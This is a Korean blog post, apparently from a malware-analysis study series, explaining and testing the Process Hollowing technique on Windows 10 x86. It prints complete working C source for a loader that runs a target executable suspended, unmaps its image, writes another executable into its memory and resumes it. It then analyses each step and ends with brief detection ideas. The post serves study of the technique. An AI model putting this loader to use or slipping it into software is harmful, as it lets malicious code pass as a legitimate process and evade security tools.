<악성코드 분석공부>/<여분지>

Process Hollowing 기법 실습

gosoeungduk 2021. 8. 26. 21:41
반응형

#Process Hollowing #Malware


- Process Hollowing 이란?

Process Hollowing 은 간략히 설명하면, 정상적인 타겟파일을 suspended 상태의 프로세스로 실행 시킨 다음, 해당 프로세스 안에 악성코드 데이터를 삽입시키고 suspend 상태를 해제함과 동시에 악성코드를 정상 프로세스로 둔갑시켜 실행시키는 방식이다.

CreateProcess -> NtUnmapViewOfSection -> VirtualAlloc -> WriteProcessMemory -> SetContextThread -> ResumeThread

의 흐름으로 진행된다.

- 예제로 보는 Process Hollowing

- OS 환경

Windows 10(x86)

- 소스

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>

#pragma comment(lib,"ntdll.lib")

EXTERN_C NTSTATUS NTAPI NtTerminateProcess(HANDLE, NTSTATUS);
EXTERN_C NTSTATUS NTAPI NtReadVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);
EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);
EXTERN_C NTSTATUS NTAPI NtGetContextThread(HANDLE, PCONTEXT);
EXTERN_C NTSTATUS NTAPI NtSetContextThread(HANDLE, PCONTEXT);
EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);
EXTERN_C NTSTATUS NTAPI NtResumeThread(HANDLE, PULONG);

int wmain(int argc, wchar_t* argv[])
{
    PIMAGE_DOS_HEADER pDosH;
    PIMAGE_NT_HEADERS pNtH;
    PIMAGE_SECTION_HEADER pSecH;

    PVOID image, mem, base;
    DWORD i, read, nSizeOfFile;
    HANDLE hFile;

    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    CONTEXT ctx;

    ctx.ContextFlags = CONTEXT_FULL;

    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));

    if (argc != 3)
    {
        printf("\nUsage: [Target executable] [Replacement executable]\n");
        return 1;
    }

    printf("\nRunning the target executable.\n");

    if (!CreateProcessW(NULL, argv[1], NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // Start the target application
    {
        printf("\nError: Unable to run the target executable. CreateProcess failed with error %d\n", GetLastError());
        return 1;
    }

    printf("\nProcess created in suspended state.\n");

    printf("\nOpening the replacement executable.\n");

    hFile = CreateFileW(argv[2], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // Open the replacement executable

    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("\nError: Unable to open the replacement executable. CreateFile failed with error %d\n", GetLastError());

        NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
        return 1;
    }

    nSizeOfFile = GetFileSize(hFile, NULL); // Get the size of the replacement executable

    image = VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Allocate memory for the executable file

    if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) // Read the executable file from disk
    {
        printf("\nError: Unable to read the replacement executable. ReadFile failed with error %d\n", GetLastError());

        NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
        return 1;
    }

    NtClose(hFile); // Close the file handle

    pDosH = (PIMAGE_DOS_HEADER)image;

    if (pDosH->e_magic != IMAGE_DOS_SIGNATURE) // Check for valid executable
    {
        printf("\nError: Invalid executable format.\n");
        NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
        return 1;
    }

    pNtH = (PIMAGE_NT_HEADERS)((LPBYTE)image + pDosH->e_lfanew); // Get the address of the IMAGE_NT_HEADERS

    NtGetContextThread(pi.hThread, &ctx); // Get the thread context of the child process's primary thread

#ifdef _WIN64
    NtReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &base, sizeof(PVOID), NULL); // Get the PEB address from the ebx register and read the base address of the executable image from the PEB
#endif

#ifdef _X86_
    NtReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &base, sizeof(PVOID), NULL); // Get the PEB address from the ebx register and read the base address of the executable image from the PEB
#endif
    if ((SIZE_T)base == pNtH->OptionalHeader.ImageBase) // If the original image has same base address as the replacement executable, unmap the original executable from the child process.
    {
        printf("\nUnmapping original executable image from child process. Address: %#zx\n", (SIZE_T)base);
        NtUnmapViewOfSection(pi.hProcess, base); // Unmap the executable image using NtUnmapViewOfSection function
    }

    printf("\nAllocating memory in child process.\n");

    mem = VirtualAllocEx(pi.hProcess, (PVOID)pNtH->OptionalHeader.ImageBase, pNtH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the executable image

    if (!mem)
    {
        printf("\nError: Unable to allocate memory in child process. VirtualAllocEx failed with error %d\n", GetLastError());

        NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
        return 1;
    }

    printf("\nMemory allocated. Address: %#zx\n", (SIZE_T)mem);

    printf("\nWriting executable image into child process.\n");

    NtWriteVirtualMemory(pi.hProcess, mem, image, pNtH->OptionalHeader.SizeOfHeaders, NULL); // Write the header of the replacement executable into child process

    for (i = 0; i<pNtH->FileHeader.NumberOfSections; i++)
    {
        pSecH = (PIMAGE_SECTION_HEADER)((LPBYTE)image + pDosH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
        NtWriteVirtualMemory(pi.hProcess, (PVOID)((LPBYTE)mem + pSecH->VirtualAddress), (PVOID)((LPBYTE)image + pSecH->PointerToRawData), pSecH->SizeOfRawData, NULL); // Write the remaining sections of the replacement executable into child process
    }


#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)mem + pNtH->OptionalHeader.AddressOfEntryPoint); // Set the eax register to the entry point of the injected image

    printf("\nNew entry point: %#zx\n", ctx.Rcx);

    NtWriteVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T)*2)), &pNtH->OptionalHeader.ImageBase, sizeof(PVOID), NULL); // Write the base address of the injected image into the PEB
#endif

#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)mem + pNtH->OptionalHeader.AddressOfEntryPoint); // Set the eax register to the entry point of the injected image

    printf("\nNew entry point: %#zx\n", ctx.Eax);

    NtWriteVirtualMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtH->OptionalHeader.ImageBase, sizeof(PVOID), NULL); // Write the base address of the injected image into the PEB
#endif


    printf("\nSetting the context of the child process's primary thread.\n");

    NtSetContextThread(pi.hThread, &ctx); // Set the thread context of the child process's primary thread

    printf("\nResuming child process's primary thread.\n");

    NtResumeThread(pi.hThread, NULL); // Resume the primary thread

    printf("\nThread resumed.\n");

    printf("\nWaiting for child process to terminate.\n");

    NtWaitForSingleObject(pi.hProcess, FALSE, NULL); // Wait for the child process to terminate

    printf("\nProcess terminated.\n");

    NtClose(pi.hThread); // Close the thread handle
    NtClose(pi.hProcess); // Close the process handle

    VirtualFree(image, 0, MEM_RELEASE); // Free the allocated memory
    return 0;
}

원본링크

- 소스 분석

1. _CONTEXT 플래그 초기화

ctx1

우선 처음에 _CONTEXT 구조체의 ContextFlags 를 초기화 한다.

CONTEXT_msdn

공식문서를 보면, ContextFlags 에 대한 설명이 그다지 없다.

Initialize_Context_msdn 에서 그 레퍼런스를 얕게나마 찾아볼 수 있는데, _CONTEXT 구조체의 어떤 부분을 초기화 할지 정하는 역할이라고 한다.

CONTEXT_FLAGS

직접 소스에서 보면 _CONTEXT 의 레지스터 중, 어느 부분을 초기화 시킬지 정할 수 있다.

본 소스에서는 모든 레지스터의 초기화를 허용하는 듯 하다.

2. 멀쩡한 껍데기 프로세스 SUSPENDED 상태로 실행

createProcess

target Executable 로 전달한 프로세스를 SUSPENDED 상태로 실행한다. numeric 표현으로 0x4 이다.

dwCreateFlag

그리고 마지막의 &piPROCESS_INFORMATION 구조체로 만든 프로세스와 갖고있는 메인 스레드에 대한 정보가 담겨지게 된다.

3. 대체할 프로그램 파일 형식으로 열어두기

createFile

대체할 프로그램은 파일의 optional_header 부분을 이용하여 영역 바꿔치기를 시도하기 때문에 file handle 의 형태로 연다.

읽기 권한을 갖고있으며, OPEN_EXISTING dwCreationDiposition 플래그를 통해 파일이 존재할 때만 열게 된다.

VirtualAlloc_ReadFile

그리고 해당 파일 사이즈만큼의 가상공간을 만들어 두고, 파일을 읽어온다.

4. 'MZ' 시그니처 체크 및 NtHeader 포인터 Get

PE_Header

DOS_HEADERe_lfanew 값을 통해 NT_HEADER 로 뛸 수 있다.

마지막의 NtGetContextThread 함수는 pi 구조체의 스레드 부분에서 현재 레지스터 상태를 _CONTEXT 구조체에 초기화 시키는 함수이다.

AFTER_ContextThread

실행 후의 모습은 이렇다. 모든 레지스터가 특정 값으로 초기화 된 것을 알 수 있다.

5. 타겟 프로세스의 Image Base 얻어오기 및 해당 주소영역 비우기

그 다음은 껍데기 역할을 하는 타겟 프로세스의 PEB(Process Enviornment Block) 으로 부터 ImageBase 주소를 얻어온다.

get_ImageBase

해당 동작을 하기위해 _CONTEXT 구조체가 존재하는 것이다. PEB 는 구조체의 ebx 에 저장되어있는데, 여기서 8 bytes 떨어진 곳에 ImageBase 주소가 보관되어있다.

참고로 x64 비트 에서는 Rdx 로 부터 16바이트 뒤에 존재한다

after_imageBase

디버깅을 해보면 0x400000 으로 잘 들어온 것을 볼 수 있다.

그리고 타겟파일과 숙주파일의 ImageBase가 같다면, 타겟 파일 프로세스의 해당 주소의 영역을 NtUnmapViewOfSection 함수로 unmap 시켜둔다. 해당 공간은 숙주파일이 자리잡을 공간이 된다.

6. unmap 된 주소영역에 새로 가상공간 할당하기

virtualAlloc

VirtualAllocEx 함수가 사용되었는데 SUSPENDED 로 실행한 프로세스의 ImageBase 부분에다가 숙주파일의 SizeOfImage 만큼의 가상영역을 할당한다. 만약 해당 주소부분이 mapping 상태라면 해당 영역 매핑에 실패한다.

참고로 SizeOfImage 는 각 IMAGE_SECTION 마다 RVA 값과 OPTIONAL_HEADER 의 Section Alignment 값을 연관지어 보면 크기가 맞다는 것을 알 수 있다.

7. 할당 된 가상영역에 데이터 쓰기

writeVirtual

이제 긴 영역할당 과정을 거쳤으니 할당을 해야한다. 별다른 것은 없고, OPTIONAL_HEADER 쓴 다음에 섹션 갯수만큼 모든 섹션을 다 쓴다.

고로 이제서야 껍데기 프로세스의 ImageBase 부터 숙주 파일의 데이터로 다 덮어 씌워진 것이다.

8. CONTEXT 구조체 재정의 및 SUSPENDED 상태 해제

last

마지막 파트이다. 이제 파일 내용 헥스 값을 다 대체하였으니, 처음에 get 해온 프로세스의 메인 스레드에 대한 레지스터 정보를 수정해줄 필요가 있다. (PEB 를 수정한다고 말할 수 있겠다)

바꿔줄 것은 EntryPoint 오프셋 정보와 ImageBase 정보이다. ImageBase 의 경우는 같았겠지만, EntryPoint 는 많이 달라서 무조건 바꿔주어야 한다.

구조체에서는 ctx.Eax 에 있는 것이 해당 엔트리 포인트 값이다.

아래는 변경 전후의 차이이다.

before

after

그리고 ResumeThread 함수로 SUSPENDED 상태의 스레드를 continue 시킨다.

테스트

test1

HxD 를 PEview 를 껍데기로 한 상태로 실행해보았다.

test2

이렇게 PEview.exe 의 프로세스가 실행된 것을 알 수 있다.

test3

test4

또한 위처럼 Image 안의 문자열들과 실제 Memory 에 올라간 string 도 다르다는 것을 알 수 있다.

그리고 실제로 HxD.exe 의 창이 실행되게 된다.

악용사례 및 대응법

본 소스코드는 직접 타겟 파일과 소스 파일을 설정해주었지만, 실제 악성코드에서는 실제 악성코드를 리소스 형태로 숨긴채 본인을 타겟파일로 지정하는 self hollowing 형식이 많이 이용된다고 한다.

대응법은 백신 상에서 해당 API 흐름을 동적으로 감지하거나, 리소스 데이터를 감지하고 아까 보았듯이 Image 문자열과 Memory 문자열의 비교 등을 이용해볼 수 있을 것이다.

반응형